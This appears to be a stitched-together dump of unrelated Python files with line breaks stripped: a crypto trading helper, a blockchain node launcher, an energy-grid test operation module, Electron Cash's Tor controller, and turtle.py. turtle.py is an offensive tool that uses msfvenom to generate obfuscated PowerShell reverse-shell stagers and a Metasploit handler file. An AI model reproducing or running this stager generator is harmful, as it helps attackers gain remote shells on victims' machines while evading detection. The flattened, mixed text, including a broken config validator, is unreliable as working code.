in self.exchange_pair: if self.exchange_pair[len(self.exchange_pair) - len(balance["asset"]):] == balance["asset"]: return float(balance["free"]) def get_base_asset_balance(self): for balance in self.account_balance: if balance["asset"] in self.exchange_pair: if self.exchange_pair[:len(balance["asset"])] == balance["asset"]: return float(balance["free"]) def verify_quantity(self, quantity): self.update_account_info('Margin') logger.write(logger.OUTPUT, f'verify_quantity: self.base_asset = {self.base_asset} quantity = {quantity} self.quantity_round_off = {self.quantity_round_off}') if quantity > self.base_asset: return self.round(self.base_asset,self.quantity_round_off) return self.round(quantity, self.quantity_round_off) def round(self, value, round_off): i = 0 multiply = 1 divisor = 10.0 while i < round_off: divisor = divisor * multiply multiply = 10 i += 1 return math.floor(value * divisor) / divisor def get_minimum_quote_balance_required_for_trade(self): min_balance = 0 quote = parameters.quote if quote == 'USDT': min_balance = 15 elif quote == 'BTC': min_balance = 0.0023 elif quote == 'ETH': min_balance = 0.098 elif quote == 'BNB': min_balance = 1.08 return min_balance def get_minimum_base_trade_quantity(self): min_quantity = 0 base = parameters.base if base == 'BTC': min_quantity = 0.0023 elif base == 'ETH': min_quantity = 0.098 elif base == 'BNB': min_quantity = 1.08 return min_quantity
run.py
#!/usr/bin/env python3 # This script is run on a target machine. It expects to be in the "./run" # directory. It uses the config from run_config.yml to run a vasaplaten node. import yaml import pathlib import subprocess import threading import time import tempfile class Validate: def __init__(self, parsed_toml): """ Take a dict parsed from toml and ensure it contains the correct fields with the correct types using own class members as a template results in a validated instance of Class with fields populated. """ fields = [f for f in dir(self) if not f.startswith( "__") and not f.endswith("__")] if rawconf is None: raise "Config is empty!" for key in rawconf.keys(): if key not in fields: raise Exception("Unexpected key, \"{}\"".format(key)) for field in fields: if field not in rawconf.keys(): raise Exception("\"{}\" not in config".format(field)) for field in fields: validate_field = getattr(self.__class__, field) val = parsed_toml[field] validate_field(val) setattr(self, field, val) class Config(Validate): """ Each element in this class is a named validator function. Validator functions are named callables that trow adescriptive exception on validation error. """ # List of bootstrap nodes to connect to def bootstrap(obj): if ( type(obj) is not list or any(type(e) is not str for e in obj) ): raise Exception("bootstrap must be a list of strings") # Private key used in p2p, edsa hex or None def p2p_secret_key(obj): allowed = "0123456789abcdefghijklmnopqrstuvABCDEFGHIJKLMNOPQRSTUV" if obj is None: return if ( type(obj) is not str or len(obj) != 64 or any(c not in allowed for c in obj) ): raise Exception("p2p_secret_key string must be a 64 character hex " "string or null") # name, Chain to run (dev/local/ved) def chain(obj): options = ["dev", "local", "ved"] if obj not in options: raise Exception("chain must be one of " + str(options)) # Private Aura key, recovery phrase or None def aura_secret_key(obj): valid = type(obj) is str or obj is None if not valid: raise Exception("aura_secret_key must be either as string or null") # Private Grandpa key, recovery phrase or None def grandpa_secret_key(obj): valid = type(obj) is str or obj is None if not valid: raise Exception("grandpa_secret_key must be either as string or " "null") # Where to store chain state and secret keys. null indicates a temporary # directory should be used. def chain_storage_base_dir(obj): if obj is not None and type(obj) is not str: raise Exception("chain_storage_base_dir must be a path or null") # port on which to listen for rpc over http def http_rpc_port(obj): if ( type(obj) is not int or obj <= 0 or obj > 65535 ): raise Exception("http_rpc_port must be an integer such that 0 < " "port <= 65535") def insert_sk(suri, keycode, typeflag, http_rpc_port): """ Add a secret keyphrase to the node keystore. """ subkey_exe = (pathlib.Path(__file__).parent / "subkey").resolve(True) PIPE = subprocess.PIPE start = time.time() timeout = 10 command = [ subkey_exe, typeflag, "insert", suri, keycode, f"http://localhost:{http_rpc_port}" ] assert typeflag in ["--secp256k1", "--ed25519", "--sr25519"] print("setting " + keycode + " key with command", command) while time.time() < timeout + start: p = subprocess.run(command, stdout=PIPE, stderr=PIPE) if p.stderr != b"": raise Exception(p.stderr) if b"ConnectionRefused" not in p.stdout and not p.stdout == b"": raise Exception("unexpected output from subkey\n" + str(p.stdout)) if p.stdout == b"": print("added key to keystore") return raise Exception("timeout while trying to add " + keycode + " key to keystore") def vasaplatsen(config: Config): with tempfile.TemporaryDirectory() as tmp: vasaplatsen_exe = (pathlib.Path(__file__).parent / "vasaplatsen").resolve(True) base_storage_path = ( tmp if config.chain_storage_base_dir is None else config.chain_storage_base_dir ) command = [vasaplatsen_exe, "--chain", config.chain] command += ["--base-path", base_storage_path] command += ["--rpc-port", str(config.http_rpc_port)] for nodeaddr in config.bootstrap: command += ["--bootnodes", nodeaddr] if config.p2p_secret_key is not None: command += ["--node-key", config.p2p_secret_key] if ( config.aura_secret_key is not None or config.grandpa_secret_key is not None ): command += ["--validator"] print("starting vasaplatsen with command", command) child = threading.Thread(target=lambda: (subprocess.run(command))) child.start() if config.aura_secret_key is not None: insert_sk(config.aura_secret_key, "aura", "--sr25519", config.http_rpc_port) if config.grandpa_secret_key is not None: insert_sk(config.grandpa_secret_key, "gran", "--ed25519", config.http_rpc_port) child.join() if __name__ == "__main__": rundir = pathlib.Path(__file__).parent rawconf = yaml.safe_load(open(rundir / "run_config.yml")) config = Config(rawconf) vasaplatsen(config)
operation.py
import logging.config, six, uuid, time, datetime, pytz, urllib, urllib.request, json, socket, re, struct from threading import Thread from abc import ABCMeta, abstractmethod import config, constant from util import toValue as _v from util import toString as _s logger = logging.getLogger(__name__) #### @six.add_metaclass(ABCMeta) class Operation(object): def __init__(self, type_, title_): self.__id_ = str(uuid.uuid4()) self.__type_ = type_ self.__title = title_ def getId(self): return self.__id_ def getType(self): return self.__type_ def getTitle(self): return self.__title pass def _findUnitById(self, val): for aUnit in config.units: if aUnit['id'] == val: return aUnit raise RuntimeError('no unit found by id : ' + val) @abstractmethod def save(self, dic): pass def dump(self): dic = {'type' : self.getType()} self._dump(dic) return dic @abstractmethod def _dump(self, dic): pass def run(self, log, results): log.add('[ ' + self.getTitle() + ' ] started') try: r = self._run(log) log.add('[ ' + self.getTitle() + ' ] finished') results.append(r) except Exception as e: log.add('[ ' + self.getTitle() + ' ] failed : ' + str(type(e)) + ' ' + str(e.message)) results.append(False) @abstractmethod def _run(self, log): pass class SetApisOperationMode(Operation): def __init__(self): super(SetApisOperationMode, self).__init__('set_apis_operation_mode', 'Set APIS Operation Mode') self.__unitId = None self.__globalOperationMode = config.default_apis_global_operation_mode self.__localOperationMode = config.default_apis_local_operation_mode def save(self, dic): self.__unitId = _v(str, dic.get('unitId')) self.__globalOperationMode = _v(str, dic.get('globalOperationMode')) self.__localOperationMode = _v(str, dic.get('localOperationMode')) def _dump(self, dic): dic['unitId'] = self.__unitId dic['globalOperationMode'] = self.__globalOperationMode dic['localOperationMode'] = self.__localOperationMode def getUnitId(self): return self.__unitId def getGlobalOperationMode(self): return self.__globalOperationMode def getLocalOperationMode(self): return self.__localOperationMode def _run(self, log): value = self.getGlobalOperationMode() if self.getUnitId() is None else self.getLocalOperationMode() code = constant.apis_operation_mode_2_code[_s(value)] url = 'http://' + config.apis_web_host + ':' + _s(config.apis_web_budo_emulator_port) + '/setOperationMode' data = urllib.parse.urlencode({ 'unitId' : _s(self.getUnitId()), 'value' : code, }) url += '?' + data log.add(' url : ' + url) res = urllib.request.urlopen(url, timeout = 1).read() log.add(' response : ' + res.decode('utf-8').strip()) log.add(' done') return True class ControlDcdc(Operation): def __init__(self): super(ControlDcdc, self).__init__('control_dcdc', 'Control DCDC') self.__unitId = None self.__command = config.default_control_dcdc_command self.__mode = config.default_control_dcdc_mode self.__gridVoltageV = config.default_grid_voltage_v self.__gridCurrentA = config.default_grid_current_a self.__droopRatio = config.default_droop_ratio def save(self, dic): self.__unitId = _v(str, dic.get('unitId')) self.__command = _v(str, dic.get('command')) self.__mode = _v(str, dic.get('mode')) self.__gridVoltageV = _v(float, dic.get('gridVoltageV')) self.__gridCurrentA = _v(float, dic.get('gridCurrentA')) self.__droopRatio = _v(float, dic.get('droopRatio')) def _dump(self, dic): dic['unitId'] = self.__unitId dic['command'] = self.__command dic['mode'] = self.__mode dic['gridVoltageV'] = self.__gridVoltageV dic['gridCurrentA'] = self.__gridCurrentA dic['droopRatio'] = self.__droopRatio def getUnitId(self): return self.__unitId def getCommand(self): return self.__command def getMode(self): return self.__mode def getGridVoltageV(self): return self.__gridVoltageV def getGridCurrentA(self): return self.__gridCurrentA def getDroopRatio(self): return self.__droopRatio def _run(self, log): unitId = _s(self.getUnitId()) com = _s(self.getCommand()) url = None if config.is_emulation: log.add(' emulator') url = 'http://' + config.emulator_host + ':' + _s(config.emulator_port) if com == 'MODE': code = constant.dcdc_mode_2_code[self.getMode()] url += '/set/dcdc/' + unitId + '?mode=' + code + '&dvg=' + _s(self.getGridVoltageV()) + '&dig=' + _s(self.getGridCurrentA()) + '&drg=' + _s(self.getDroopRatio()) elif com == 'VOLTAGE': url += '/set/dcdc/voltage/' + unitId + '?dvg=' + _s(self.getGridVoltageV()) + '&drg=' + _s(self.getDroopRatio()) elif com == 'CURRENT': url += '/set/dcdc/current/' + unitId + '?dig=' + _s(self.getGridCurrentA()) else: raise RuntimeError('bad command : ' + _s(com)) else: log.add(' actual device') unit = self._findUnitById(unitId) url = 'http://' + unit['host'] + ':' + _s(unit['dcdc_port']) if com == 'MODE': code = constant.dcdc_mode_2_code[self.getMode()] url += '/remote/set?mode=' + code + '&dvg=' + _s(self.getGridVoltageV()) + '&dig=' + _s(self.getGridCurrentA()) + '&drg=' + _s(self.getDroopRatio()) elif com == 'VOLTAGE': url += '/remote/set/voltage?dvg=' + _s(self.getGridVoltageV()) + '&drg=' + _s(self.getDroopRatio()) elif com == 'CURRENT': url += '/remote/set/current?dig=' + _s(self.getGridCurrentA()) else: raise RuntimeError('bad command : ' + _s(com)) log.add(' url : ' + url) res = urllib.request.urlopen(url, timeout = 5).read() log.add(' response : ' + res.decode('utf-8').strip()) log.add(' done') return True class GenerateDeal(Operation): def __init__(self): super(GenerateDeal, self).__init__('generate_deal', 'Generate Deal') self.__dischargeUnitId = None self.__chargeUnitId = None self.__dealGridCurrentA = config.default_deal_grid_current_a self.__dealAmountWh = config.default_deal_amount_wh self.__pointPerWh = config.default_point_per_wh self.__dischargeUnitEfficientGridVoltageV = config.default_efficient_grid_voltage_v self.__chargeUnitEfficientGridVoltageV = config.default_efficient_grid_voltage_v self.__testFeature = {'dcdc' : {}} def save(self, dic): self.__dischargeUnitId = _v(str, dic.get('dischargeUnitId')) self.__chargeUnitId = _v(str, dic.get('chargeUnitId')) self.__dealGridCurrentA = _v(float, dic.get('dealGridCurrentA')) self.__dealAmountWh = _v(float, dic.get('dealAmountWh')) self.__pointPerWh = _v(float, dic.get('pointPerWh')) self.__dischargeUnitEfficientGridVoltageV = _v(float, dic.get('dischargeUnitEfficientGridVoltageV')) self.__chargeUnitEfficientGridVoltageV = _v(float, dic.get('chargeUnitEfficientGridVoltageV')) self.__testFeature = {'dcdc' : {}} if _v(bool, dic.get('testFeature.dcdc.failBeforeActivate')): self.__testFeature['dcdc']['failBeforeActivate'] = True if _v(bool, dic.get('testFeature.dcdc.failAfterActivate')): self.__testFeature['dcdc']['failAfterActivate'] = True if _v(bool, dic.get('testFeature.dcdc.failBeforeAuthorize')): self.__testFeature['dcdc']['failBeforeAuthorize'] = True if _v(bool, dic.get('testFeature.dcdc.failAfterAuthorize')): self.__testFeature['dcdc']['failAfterAuthorize'] = True if _v(bool, dic.get('testFeature.dcdc.failBeforeWarmUp')): self.__testFeature['dcdc']['failBeforeWarmUp'] = True if _v(bool, dic.get('testFeature.dcdc.failAfterWarmUp')): self.__testFeature['dcdc']['failAfterWarmUp'] = True if _v(bool, dic.get('testFeature.dcdc.failBeforeCompensate')): self.__testFeature['dcdc']['failBeforeCompensate'] = True if _v(bool, dic.get('testFeature.dcdc.failAfterCompensate')): self.__testFeature['dcdc']['failAfterCompensate'] = True if _v(bool, dic.get('testFeature.dcdc.failBeforeStop')): self.__testFeature['dcdc']['failBeforeStop'] = True if _v(bool, dic.get('testFeature.dcdc.failAfterStop')): self.__testFeature['dcdc']['failAfterStop'] = True if _v(bool, dic.get('testFeature.dcdc.failBeforeDeactivate')): self.__testFeature['dcdc']['failBeforeDeactivate'] = True if _v(bool, dic.get('testFeature.dcdc.failAfterDeactivate')): self.__testFeature['dcdc']['failAfterDeactivate'] = True def _dump(self, dic): dic['dischargeUnitId'] = self.__dischargeUnitId dic['chargeUnitId'] = self.__chargeUnitId dic['dealGridCurrentA'] = self.__dealGridCurrentA dic['dealAmountWh'] = self.__dealAmountWh dic['pointPerWh'] = self.__pointPerWh dic['dischargeUnitEfficientGridVoltageV'] = self.__dischargeUnitEfficientGridVoltageV dic['chargeUnitEfficientGridVoltageV'] = self.__chargeUnitEfficientGridVoltageV for k, v in self.__testFeature['dcdc'].items(): dic['testFeature.dcdc.' + k] = v def getDischargeUnitId(self): return self.__dischargeUnitId def getChargeUnitId(self): return self.__chargeUnitId def getDealGridCurrentA(self): return self.__dealGridCurrentA def getDealAmountWh(self): return self.__dealAmountWh def getPointPerWh(self): return self.__pointPerWh def getDischargeUnitEfficientGridVoltageV(self): return self.__dischargeUnitEfficientGridVoltageV def getChargeUnitEfficientGridVoltageV(self): return self.__chargeUnitEfficientGridVoltageV def getTestFeature(self): return self.__testFeature def _run(self, log): deal = {} deal['createDateTime'] = datetime.datetime.now(pytz.timezone('Asia/Tokyo')).strftime('%Y/%m/%d-%H:%M:%S') deal['type'] = 'discharge' deal['unitId'] = self.getDischargeUnitId() deal['requestUnitId'] = self.getDischargeUnitId() deal['acceptUnitId'] = self.getChargeUnitId() deal['dischargeUnitId'] = self.getDischargeUnitId() deal['chargeUnitId'] = self.getChargeUnitId() deal['dealGridCurrentA'] = self.getDealGridCurrentA() deal['dealAmountWh'] = self.getDealAmountWh() deal['pointPerWh'] = self.getPointPerWh() if self.getDischargeUnitEfficientGridVoltageV() is not None: deal['dischargeUnitEfficientGridVoltageV'] = self.getDischargeUnitEfficientGridVoltageV() if self.getChargeUnitEfficientGridVoltageV() is not None: deal['chargeUnitEfficientGridVoltageV'] = self.getChargeUnitEfficientGridVoltageV() deal['testFeature'] = {} if 0 < len(self.__testFeature['dcdc']): deal['testFeature']['dcdc'] = self.__testFeature['dcdc'] val = json.dumps(deal) url = 'http://' + config.apis_web_host + ':' + _s(config.apis_web_api_server_port) + '/deal' log.add(' url : ' + url) log.add(' data : ' + val) data = urllib.parse.urlencode({'json' : val}) res = urllib.request.urlopen(url, data.encode('utf-8'), timeout = 1).read() log.add(' response : ' + res.decode('utf-8').strip()) log.add(' done') return True class GenerateError(Operation): def __init__(self): super(GenerateError, self).__init__('generate_error', 'Generate Error') self.__unitId = None self.__category = config.default_error_category self.__extent = config.default_error_extent self.__level = config.default_error_level self.__message = None def save(self, dic): self.__unitId = _v(str, dic.get('unitId')) self.__category = _v(str, dic.get('category')) self.__extent = _v(str, dic.get('extent')) self.__level = _v(str, dic.get('level')) self.__message = _v(str, dic.get('message')) def _dump(self, dic): dic['unitId'] = self.__unitId dic['category'] = self.__category dic['extent'] = self.__extent dic['level'] = self.__level dic['message'] = self.__message def getUnitId(self): return self.__unitId def getCategory(self): return self.__category def getExtent(self): return self.__extent def getLevel(self): return self.__level def getMessage(self): return self.__message def _run(self, log): url = 'http://' + config.apis_web_host + ':' + _s(config.apis_web_api_server_port) + '/error' data = urllib.parse.urlencode({ 'unitId' : self.getUnitId(), 'category' : self.getCategory(), 'extent' : self.getExtent(), 'level' : self.getLevel(), 'message' : self.getMessage(), }) log.add(' url : ' + url) log.add(' data : ' + data) res = urllib.request.urlopen(url, data.encode('utf-8'), timeout = 1).read() log.add(' response : ' + res.decode('utf-8').strip()) log.add(' done') return True class WaitLog(Operation): def __init__(self): super(WaitLog, self).__init__('wait_log', 'Wait Log') self.__unitId = None self.__message = None self.__timeoutS = config.default_wait_log_timeout_s self.__sock = None self.__doWaitLogRunning = False def __del__(self): if self.__sock: self.__sock.close() def save(self, dic): self.__unitId = _v(str, dic.get('unitId')) self.__message = _v(str, dic.get('message')) self.__timeoutS = _v(float, dic.get('timeoutS')) def _dump(self, dic): dic['unitId'] = self.__unitId dic['message'] = self.__message dic['timeoutS'] = self.__timeoutS def getUnitId(self): return self.__unitId def getMessage(self): return self.__message def getTimeoutS(self): return self.__timeoutS def _run(self, log): family, socktype, proto, canonname, sockaddr = socket.getaddrinfo(config.apis_log_group_address, config.apis_log_port, socket.AF_UNSPEC, socket.SOCK_DGRAM, 0, socket.AI_PASSIVE)[0] log.add(' family : ' + repr(family)) log.add(' socktype : ' + repr(socktype)) log.add(' proto : ' + repr(proto)) log.add(' canonname : ' + repr(canonname)) log.add(' sockaddr : ' + repr(sockaddr)) self.__sock = socket.socket(family, socktype, proto) self.__sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) self.__sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.__sock.settimeout(5) if family == socket.AF_INET6: self.__sock.bind(sockaddr) elif family == socket.AF_INET: self.__sock.bind(('0.0.0.0', sockaddr[1])) group = socket.inet_pton(family, config.apis_log_group_address) mreq = struct.pack('4sL', group, socket.INADDR_ANY) self.__sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) else: raise RuntimeError('unknown address family : ' + family) log.add(' waiting for log : \'' + _s(self.getMessage()) + '\', from unit : ' + _s(self.getUnitId())) results = [] self.__doWaitLogRunning = True t = Thread(target = self.__doWaitLog, args = (results,)) t.daemon = True t.start() t.join(self.getTimeoutS()) self.__doWaitLogRunning = False self.__sock.close() self.__sock = None if 0 < len(results): log.add(' log received : ' + results[0]) log.add(' done') return True else: log.add(' timed out') return False def __doWaitLog(self, results): while self.__doWaitLogRunning: try: data = self.__sock.recv(8192).decode('utf-8').strip() logger.debug('#### waiting log #### ' + data) if self.getUnitId() is not None: if not data.startswith('[[' + self.getUnitId() + ']] ') and not data.startswith('[[[apis-main:' + self.getUnitId() + ']]] '): continue if self.getMessage() is not None: if not re.search(self.getMessage(), data): continue results.append(data) break except Exception as e: pass class Wait(Operation): def __init__(self): super(Wait, self).__init__('wait', 'Wait') self.__durationS = config.default_wait_duration_s def save(self, dic): self.__durationS = _v(float, dic.get('durationS')) def _dump(self, dic): dic['durationS'] = self.__durationS def getDurationS(self): return self.__durationS def _run(self, log): log.add(' waiting ' + _s(self.getDurationS()) + ' (s)') time.sleep(self.getDurationS()) log.add(' done') return True #### __operations = [ SetApisOperationMode(), ControlDcdc(), GenerateDeal(), GenerateError(), WaitLog(), Wait(), ] def getOperations(): return __operations def createByType(val): for op in __operations: if op.getType() == val: clazz = type(op) return clazz() raise RuntimeError('bad operation type : ' + val)
turtle.py
#!/bin/env python3 ########################################## import os import sys import subprocess import random import argparse from colorama import init, Fore, Style init() ######################################### from lib.stagergen import * ######################################### def success(message): print(f'[{Style.BRIGHT}{Fore.GREEN}+{Style.RESET_ALL}] {message}') def error(message): print(f'[{Style.BRIGHT}{Fore.RED}x{Style.RESET_ALL}] {message}') ######################################### # funy turtl banner stuff hehe slogans = ['turtles r cool', 'slow and steady pwns the dc', "a turtle hiding in a (meterpreter) shell"] banner = fr'''{Style.BRIGHT}{Fore.GREEN} __ .,-;-;-,. /'_\ _/_/_/_|_\_\) / {Fore.YELLOW}{random.choice(slogans)}{Fore.GREEN} '-<_><_><_><_>=/\ `/_/====/_/-'\_\ "" "" ""{Style.RESET_ALL}''' print(banner) ### Checking for msfvenom (Required) try: subprocess.check_output(['which', 'msfvenom']) except: error(f'{Fore.RED}MSFVENOM INSTALLATION NOT FOUND ON PATH!{Fore.RESET}') sys.exit() # argparse stuf payloadchoices = [ 'cmd/windows/powershell_bind_tcp', 'cmd/windows/powershell_reverse_tcp', 'cmd/windows/reverse_powershell', 'windows/powershell_bind_tcp', 'windows/powershell_reverse_tcp' ] parser = argparse.ArgumentParser(description='generate some obfuscated stagers') parser.add_argument('--payload', type=str, help='msfvenom payload 2 use', choices=payloadchoices) parser.add_argument('--lhost', type=str, help='host 4 payload 2 connect back 2') parser.add_argument('--lport', type=str, help='port 4 payload 2 connect back 2') parser.add_argument('-o', type=str, default='turtl-payload.txt', help='file to save payload 2') parser.add_argument('-rc', type=str, default='turtl-payload.rc', help='file to save msf resource file 2') parser.add_argument('-i', type=int, default=1, help='amount of encoding iterations') args = parser.parse_args() # No arguments supplied : print payload list n exit if not args.payload or not args.lhost or not args.lport: error("Required arguments (--payload, --lhost, --lport) haven't been supplied.") print('Available MSFVENOM Powershell Payloads:\n') for payl in payloadchoices: print(payl) print('') sys.exit() print(fr'''{Style.BRIGHT} PAYLOAD {Style.RESET_ALL}::{Style.BRIGHT} {args.payload} LHOST {Style.RESET_ALL}::{Style.BRIGHT} {args.lhost} LPORT {Style.RESET_ALL}::{Style.BRIGHT} {args.lport} ''') success('Generating Stager with MSFVENOM...\n') process = multiprocessing.Process(target=loadanim) process.start() resultpayload = venom_gen(args.payload,args.lhost,args.lport,args.i) process.terminate() sys.stdout.flush() sys.stdout.write('\r') # Writing Payload + RC File with open(args.o,'w') as o: o.write(resultpayload); o.close() with open(args.rc,'w') as o: o.write(f'use multi/handler\nset payload {args.payload}\nset LHOST {args.lhost}\nset LPORT {args.lport}\nset ExitOnSession false\nset AutoVerifySession false\nset AutoSystemInfo false\nset AutoLoadStdapi false\nexploit -j\n'); o.close() success(f'Payload written to: {args.o}') success(f'Resource file written to: {args.rc}')
controller.py
# Electron Cash - lightweight Bitcoin client # Copyright (C) 2019 Axel Gembe <derago@gmail.com> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import os import re import subprocess import sys import threading import shutil import socket from enum import IntEnum, unique from typing import Tuple, Optional import stem.socket import stem.process import stem.control import stem from .. import util from ..util import PrintError from ..utils import Event from ..simple_config import SimpleConfig # The network code monkey patches socket to use a SOCKS socket in Network.set_proxy. # This causes the Tor control connection to go through Tor, which is not a good idea. # To work around this, we monkey patch Stem to always create a standard socket for the # control connection. _orig_socket = socket.socket def _make_socket_monkey_patch(self): try: control_socket = _orig_socket(socket.AF_INET, socket.SOCK_STREAM) control_socket.connect((self.address, self.port)) return control_socket except socket.error as exc: raise stem.SocketError(exc) stem.socket.ControlPort._make_socket = _make_socket_monkey_patch _TOR_ENABLED_KEY = 'tor_enabled' _TOR_ENABLED_DEFAULT = False _TOR_SOCKS_PORT_KEY = 'tor_socks_port' _TOR_SOCKS_PORT_DEFAULT = 0 class TorController(PrintError): @unique class Status(IntEnum): STOPPING = 0 STOPPED = 1 STARTED = 2 READY = 3 ERRORED = 4 @unique class BinaryType(IntEnum): MISSING = 0 INTEGRATED = 1 SYSTEM = 2 _config: SimpleConfig = None _tor_process: subprocess.Popen = None _tor_read_thread: threading.Thread = None _tor_controller: stem.control.Controller = None status = Status.STOPPED status_changed = Event() active_socks_port: int = None active_control_port: int = None active_port_changed = Event() tor_binary: str tor_binary_type: BinaryType = BinaryType.MISSING def __init__(self, config: SimpleConfig): if not config: raise AssertionError('TorController: config must be set') self._config = config if not self.detect_tor() and self.is_enabled(): self.print_error("Tor enabled but no usable Tor binary found, disabling") self.set_enabled(False) socks_port = self._config.get( _TOR_SOCKS_PORT_KEY, _TOR_SOCKS_PORT_DEFAULT) if not socks_port or not self._check_port(int(socks_port)): # If no valid SOCKS port is set yet, we set the default self._config.set_key(_TOR_SOCKS_PORT_KEY, _TOR_SOCKS_PORT_DEFAULT) def __del__(self): self.status_changed.clear() self.active_port_changed.clear() # Opened Socks listener on 127.0.0.1:53544 # Opened Control listener on 127.0.0.1:3300 _listener_re = re.compile(r".*\[notice\] Opened ([^ ]*) listener on (.*)$") _endpoint_re = re.compile(r".*:(\d*)") # If a log string matches any of the included regex it is ignored _ignored_res = [ re.compile(r".*This port is not an HTTP proxy.*"), # This is caused by the network dialog TorDetector ] def _tor_msg_handler(self, message: str): if util.is_verbose: if all(not regex.match(message) for regex in TorController._ignored_res): self.print_msg(message) # Check if this is a "Opened listener" message and extract the information # into the active_socks_port and active_control_port variables listener_match = TorController._listener_re.match(message) if listener_match: listener_type = listener_match.group(1) listener_endpoint = listener_match.group(2) endpoint_match = TorController._endpoint_re.match( listener_endpoint) if endpoint_match: endpoint_port = int(endpoint_match.group(1)) if listener_type == 'Socks': self.active_socks_port = endpoint_port elif listener_type == 'Control': self.active_control_port = endpoint_port # The control port is the last port opened, so only notify after it self.active_port_changed(self) def _read_tor_msg(self): try: while self._tor_process and not self._tor_process.poll(): line = self._tor_process.stdout.readline().decode('utf-8', 'replace').strip() if not line: break self._tor_msg_handler(line) except: self.print_exception("Exception in Tor message reader") _orig_subprocess_popen = subprocess.Popen @staticmethod def _popen_monkey_patch(*args, **kwargs): if sys.platform in ('win32'): if hasattr(subprocess, 'CREATE_NO_WINDOW'): kwargs['creationflags'] = subprocess.CREATE_NO_WINDOW else: kwargs['creationflags'] = 0x08000000 # CREATE_NO_WINDOW, for < Python 3.7 return TorController._orig_subprocess_popen(*args, **kwargs) @staticmethod def _get_tor_binary() -> Tuple[Optional[str], BinaryType]: # Try to locate a bundled tor binary if sys.platform in ('windows', 'win32'): res = os.path.join(os.path.dirname( __file__), '..', '..', 'tor.exe') else: res = os.path.join(os.path.dirname(__file__), 'bin', 'tor') if os.path.isfile(res): return (res, TorController.BinaryType.INTEGRATED) # Tor is not packaged / built, try to locate a system tor res = shutil.which('tor') if res and os.path.isfile(res): return (res, TorController.BinaryType.SYSTEM) return (None, TorController.BinaryType.MISSING) def detect_tor(self) -> bool: path, bintype = self._get_tor_binary() self.tor_binary = path self.tor_binary_type = bintype return self.is_available() def is_available(self) -> bool: return self.tor_binary_type != TorController.BinaryType.MISSING def start(self): if self._tor_process: # Tor is already running return if not self.is_enabled(): # Don't start Tor if not enabled return if self.tor_binary_type == TorController.BinaryType.MISSING: self.print_error("No Tor binary found") self.status = TorController.Status.ERRORED self.status_changed(self) return # When the socks port is set to zero, we let tor choose one socks_port = str(self.get_socks_port()) if socks_port == '0': socks_port = 'auto' try: subprocess.Popen = TorController._popen_monkey_patch self._tor_process = stem.process.launch_tor_with_config( tor_cmd=self.tor_binary, completion_percent=0, # We will monitor the bootstrap status init_msg_handler=self._tor_msg_handler, take_ownership=True, close_output=False, config={ 'SocksPort': socks_port, 'ControlPort': 'auto', 'CookieAuthentication': '1', 'DataDirectory': os.path.join(self._config.path, 'tor'), 'Log': 'NOTICE stdout', }, ) except: self.print_exception("Failed to start Tor") self._tor_process = None self.status = TorController.Status.ERRORED self.status_changed(self) return finally: subprocess.Popen = TorController._orig_subprocess_popen self._tor_read_thread = threading.Thread( target=self._read_tor_msg, name="Tor message reader") self._tor_read_thread.start() self.status = TorController.Status.STARTED self.status_changed(self) try: self._tor_controller = stem.control.Controller.from_port( port=self.active_control_port) self._tor_controller.authenticate() self._tor_controller.add_event_listener( self._handle_network_liveliness_event, stem.control.EventType.NETWORK_LIVENESS) # pylint: disable=no-member except: self.print_exception("Failed to connect to Tor control port") self.stop() return self.print_error("started (Tor version {})".format( self._tor_controller.get_version())) def stop(self): if not self._tor_process: # Tor is not running return self.status = TorController.Status.STOPPING self.status_changed(self) self.active_socks_port = None self.active_control_port = None self.active_port_changed(self) if self._tor_controller: # tell tor to shut down self._tor_controller.signal(stem.Signal.HALT) # pylint: disable=no-member self._tor_controller.close() self._tor_controller = None if self._tor_process: try: try: self._tor_process.wait(1.0) # if the wait doesn't raise an exception, the process has terminated except subprocess.TimeoutExpired: # process is still running, try to terminate it self._tor_process.terminate() self._tor_process.wait() except ProcessLookupError: self.print_exception("Failed to terminate Tor process") self._tor_process = None if self._tor_read_thread: self._tor_read_thread.join() self._tor_read_thread = None self.status = TorController.Status.STOPPED self.status_changed(self) self.print_error("stopped") def _handle_network_liveliness_event(self, event: stem.response.events.NetworkLivenessEvent): old_status = self.status self.status = TorController.Status.READY if event.status == 'UP' else TorController.Status.STARTED if old_status != self.status: self.status_changed(self) def _check_port(self, port: int) -> bool: if not isinstance(port, int): return False if port is None: return False if port != 0: # Port 0 is automatic if port < 1024 or port > 65535: return False return True def set_enabled(self, enabled: bool): self._config.set_key(_TOR_ENABLED_KEY, enabled) if enabled: self.start() else: self.stop() def is_enabled(self) -> bool: return bool(self._config.get(_TOR_ENABLED_KEY, _TOR_ENABLED_DEFAULT)) def set_socks_port(self, port: int): if not self._check_port(port): raise AssertionError('TorController: invalid port') self.stop() self._config.set_key(_TOR_SOCKS_PORT_KEY, port) self.start() def get_socks_port(self) -> int: socks_port = self._config.get( _TOR_SOCKS_PORT_KEY, _TOR_SOCKS_PORT_DEFAULT) if not self._check_port(int(socks_port)): raise AssertionError('TorController: invalid port') return int(socks_port)
app.py
